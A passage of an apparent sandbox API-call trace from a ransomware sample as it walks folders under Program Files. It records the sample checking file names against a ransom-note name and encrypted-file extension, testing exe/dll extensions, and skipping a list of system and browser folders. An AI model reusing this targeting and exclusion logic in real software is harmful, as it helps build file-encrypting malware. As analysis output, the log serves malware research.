(hObject=0x194) returned 1 [0250.315] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0250.315] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msadce.dll" | out: lpString1="msadce.dll") returned="msadce.dll" [0250.315] lstrcmpiW (lpString1="msadce.dll", lpString2="RecoveryManual.html") returned -1 [0250.315] StrStrIW (lpFirst="msadce.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.315] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.315] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.315] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0250.315] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msadcer.dll" | out: lpString1="msadcer.dll") returned="msadcer.dll" [0250.315] lstrcmpiW (lpString1="msadcer.dll", lpString2="RecoveryManual.html") returned -1 [0250.315] StrStrIW (lpFirst="msadcer.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.315] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.315] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.315] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0250.315] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msadcf.dll" | out: lpString1="msadcf.dll") returned="msadcf.dll" [0250.315] lstrcmpiW (lpString1="msadcf.dll", lpString2="RecoveryManual.html") returned -1 [0250.315] StrStrIW (lpFirst="msadcf.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.315] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.315] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.315] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0250.315] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msadcfr.dll" | out: lpString1="msadcfr.dll") returned="msadcfr.dll" [0250.315] lstrcmpiW (lpString1="msadcfr.dll", lpString2="RecoveryManual.html") returned -1 [0250.315] StrStrIW (lpFirst="msadcfr.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.315] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.315] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.316] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0250.316] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msadco.dll" | out: lpString1="msadco.dll") returned="msadco.dll" [0250.316] lstrcmpiW (lpString1="msadco.dll", lpString2="RecoveryManual.html") returned -1 [0250.316] StrStrIW (lpFirst="msadco.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.316] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.316] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.316] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0250.316] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msadcor.dll" | out: lpString1="msadcor.dll") returned="msadcor.dll" [0250.316] lstrcmpiW (lpString1="msadcor.dll", lpString2="RecoveryManual.html") returned -1 [0250.316] StrStrIW (lpFirst="msadcor.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.316] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.316] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.316] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0250.316] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msadcs.dll" | out: lpString1="msadcs.dll") returned="msadcs.dll" [0250.316] lstrcmpiW (lpString1="msadcs.dll", lpString2="RecoveryManual.html") returned -1 [0250.316] StrStrIW (lpFirst="msadcs.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.316] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.316] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.316] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0250.316] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msadds.dll" | out: lpString1="msadds.dll") returned="msadds.dll" [0250.316] lstrcmpiW (lpString1="msadds.dll", lpString2="RecoveryManual.html") returned -1 [0250.316] StrStrIW (lpFirst="msadds.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.316] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.316] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.316] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0250.316] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msaddsr.dll" | out: lpString1="msaddsr.dll") returned="msaddsr.dll" [0250.316] lstrcmpiW (lpString1="msaddsr.dll", lpString2="RecoveryManual.html") returned -1 [0250.316] StrStrIW (lpFirst="msaddsr.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.316] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.316] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.316] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0250.316] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msdaprsr.dll" | out: lpString1="msdaprsr.dll") returned="msdaprsr.dll" [0250.316] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="RecoveryManual.html") returned -1 [0250.316] StrStrIW (lpFirst="msdaprsr.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.316] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.316] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.316] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0250.317] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msdaprst.dll" | out: lpString1="msdaprst.dll") returned="msdaprst.dll" [0250.317] lstrcmpiW (lpString1="msdaprst.dll", lpString2="RecoveryManual.html") returned -1 [0250.317] StrStrIW (lpFirst="msdaprst.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.317] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.317] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.317] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0250.317] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msdarem.dll" | out: lpString1="msdarem.dll") returned="msdarem.dll" [0250.317] lstrcmpiW (lpString1="msdarem.dll", lpString2="RecoveryManual.html") returned -1 [0250.317] StrStrIW (lpFirst="msdarem.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.317] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.317] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.317] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0250.317] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msdaremr.dll" | out: lpString1="msdaremr.dll") returned="msdaremr.dll" [0250.317] lstrcmpiW (lpString1="msdaremr.dll", lpString2="RecoveryManual.html") returned -1 [0250.317] StrStrIW (lpFirst="msdaremr.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.317] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.317] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.317] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0250.317] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="msdfmap.dll" | out: lpString1="msdfmap.dll") returned="msdfmap.dll" [0250.317] lstrcmpiW (lpString1="msdfmap.dll", lpString2="RecoveryManual.html") returned -1 [0250.317] StrStrIW (lpFirst="msdfmap.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.317] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.317] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.317] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0250.317] FindClose (in: hFindFile=0x6bfec0 | out: hFindFile=0x6bfec0) returned 1 [0250.317] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0250.317] lstrcpyW (in: lpString1=0x69b8ee, lpString2="MSMAPI" | out: lpString1="MSMAPI") returned="MSMAPI" [0250.317] lstrcatW (in: lpString1="MSMAPI", lpString2="\\" | out: lpString1="MSMAPI\\") returned="MSMAPI\\" [0250.317] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch=":\\Windows\\") returned 0x0 [0250.317] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.317] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.317] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch=":\\WINNT") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.318] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.318] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\") returned 48 [0250.318] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfec0 [0250.319] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\" [0250.319] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.319] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0250.319] lstrcpyW (in: lpString1=0x69b8fc, lpString2="1033" | out: lpString1="1033") returned="1033" [0250.319] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0250.319] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch=":\\Windows\\") returned 0x0 [0250.319] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.319] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.319] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.319] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch=":\\WINNT") returned 0x0 [0250.319] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.319] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.319] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.320] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.320] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\") returned 53 [0250.320] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff00 [0250.320] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\" [0250.320] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.320] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: 